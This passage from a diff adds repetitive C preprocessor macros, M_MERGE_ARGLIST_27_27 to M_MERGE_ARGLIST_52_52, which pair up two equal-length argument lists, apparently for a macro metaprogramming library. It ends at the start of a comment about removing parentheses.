+#define M_MERGE_ARGLIST_27_27(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) 
+#define M_MERGE_ARGLIST_28_28(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) 
+#define M_MERGE_ARGLIST_29_29(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) 
+#define M_MERGE_ARGLIST_30_30(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) 
+#define M_MERGE_ARGLIST_31_31(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) 
+#define M_MERGE_ARGLIST_32_32(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) 
+#define M_MERGE_ARGLIST_33_33(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) 
+#define M_MERGE_ARGLIST_34_34(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) 
+#define M_MERGE_ARGLIST_35_35(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) 
+#define M_MERGE_ARGLIST_36_36(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) 
+#define M_MERGE_ARGLIST_37_37(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) 
+#define M_MERGE_ARGLIST_38_38(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) 
+#define M_MERGE_ARGLIST_39_39(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) 
+#define M_MERGE_ARGLIST_40_40(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) 
+#define M_MERGE_ARGLIST_41_41(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) 
+#define M_MERGE_ARGLIST_42_42(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) 
+#define M_MERGE_ARGLIST_43_43(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) 
+#define M_MERGE_ARGLIST_44_44(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) 
+#define M_MERGE_ARGLIST_45_45(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) 
+#define M_MERGE_ARGLIST_46_46(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) 
+#define M_MERGE_ARGLIST_47_47(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) 
+#define M_MERGE_ARGLIST_48_48(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) 
+#define M_MERGE_ARGLIST_49_49(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) 
+#define M_MERGE_ARGLIST_50_50(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) 
+#define M_MERGE_ARGLIST_51_51(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50, b51) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) , (a51, b51) 
+#define M_MERGE_ARGLIST_52_52(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49, b50, b51, b52) (a1, b1) , (a2, b2) , (a3, b3) , (a4, b4) , (a5, b5) , (a6, b6) , (a7, b7) , (a8, b8) , (a9, b9) , (a10, b10) , (a11, b11) , (a12, b12) , (a13, b13) , (a14, b14) , (a15, b15) , (a16, b16) , (a17, b17) , (a18, b18) , (a19, b19) , (a20, b20) , (a21, b21) , (a22, b22) , (a23, b23) , (a24, b24) , (a25, b25) , (a26, b26) , (a27, b27) , (a28, b28) , (a29, b29) , (a30, b30) , (a31, b31) , (a32, b32) , (a33, b33) , (a34, b34) , (a35, b35) , (a36, b36) , (a37, b37) , (a38, b38) , (a39, b39) , (a40, b40) , (a41, b41) , (a42, b42) , (a43, b43) , (a44, b44) , (a45, b45) , (a46, b46) , (a47, b47) , (a48, b48) , (a49, b49) , (a50, b50) , (a51, b51) , (a52, b52) 
+
+
+/* Remove the parenthesis if there are present.
+   (internal macro) */
